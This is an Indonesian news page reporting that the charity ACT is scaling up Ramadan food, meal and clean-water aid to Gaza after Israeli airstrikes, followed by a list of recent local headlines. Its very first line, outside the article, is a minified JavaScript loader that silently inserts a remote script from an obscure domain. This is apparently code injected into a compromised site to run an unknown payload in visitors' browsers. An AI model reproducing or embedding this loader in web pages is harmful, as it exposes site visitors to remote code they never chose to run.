(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

ACT Masif Kirim Bantuan untuk Palestina di Bulan Ramadhan


JAKARTA, Dua malam menjelang Ramadhan, Palestina tengah berduka. Hal ini disebabkan serangan udara dari Israel yang melintasi perbatasan Gaza terus digencarkan. Serangan udara meledak sedikitnya di 60 wilayah yang menjadi target sasaran, Sabtu (4/5) malam. Selain memakan korban jiwa, serangan Israel juga meluluhlantakkan sekitar 200 bangunan di sepanjang Jalur Gaza. Merespon aksi keji tersebut, Aksi Cepat Tanggap (ACT) akan memasifkan bantuan Ramadhan untuk Palestina.

Ibnu Khajar, Vice President ACT menyampaikan sikap ACT terhadap kondisi duka yang dihadapi bangsa Palestina pasca serangan jelang Ramadhan, ACT mengecam apa yang dilakukan Israel terhadap Palestina terlebih di bulan Ramadhan yang suci ini. ACT melihat permasalahan ini bukan lagi masalah yang ringan karena sudah berlangsung setiap tahun dengan eskalasi yang semakin meningkat.

“Lembaga langsung merespon sejak Ahad pagi atas kondisi ini. Program bantuan reguler yang sudah ada akan terus kami tingkatkan. Kami sudah berikan instruksi kepada relawan dan mitra-mitra kami di Gaza untuk segera mendistribusikan kesediaan paket pangan dan bantuan lainnya. Sebagai spirit kemanusiaan, water tank milik ACT dan dapur umum untuk berbuka puasa maupun sahur untuk para bangsa Palestina akan terus siaga. Insya Allah umat Islam Indonesia melalui ACT akan terus membersamai mereka,” ungkap Ibnu.

Sejalan dengan itu, Direktur Global Humanity Response (GHR)-ACT Bambang Triyono menyatakan bahwa ACT akan mengirimkan Paket Pangan IHC untuk lebih dari 5000 keluarga selama  bulan Ramadhan, 500 porsi makanan siap saji untuk sahur dan berbuka, dan 1,6 juta liter air bersih untuk didistribusikan di seluruh Jalur Gaza. “Program-program ini kami berikan untuk menghadapi krisis pangan dan tentunya menjadi sebuah respon cepat kami terhadap duka bangsa Palestina di tengah perayaan bulan suci umat muslim,” tambahnya.

Sebagai rangkaian dari program Ramadhan, saat ini terdapat 25 syeikh Palestina bersama tim ACT pergi ke rumah-rumah peribadahan untuk menyampaikan secara langsung kondisi yang ada di Palestina. “Kami mengajak sahabat dermawan sekalian untuk turut andil dalam usaha perjuangan ini. Terus do’akan agar Allah berikan perlindungan dan keselamatan bagi mereka. Insya Allah, lembaga ini berkomitmen untuk terus mengirimkan bantuan, memastikan mereka melewati fase Ramadhan hingga Idul Fitri nanti dapat khusyuk beribadah. Kami umat muslim Indonesia dan berharap seluruh muslim di dunia untuk terus peduli dengan saudara kita di Palestina,” tutup Ibnu. (act)

Reporter:ACT
Editor:KK

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.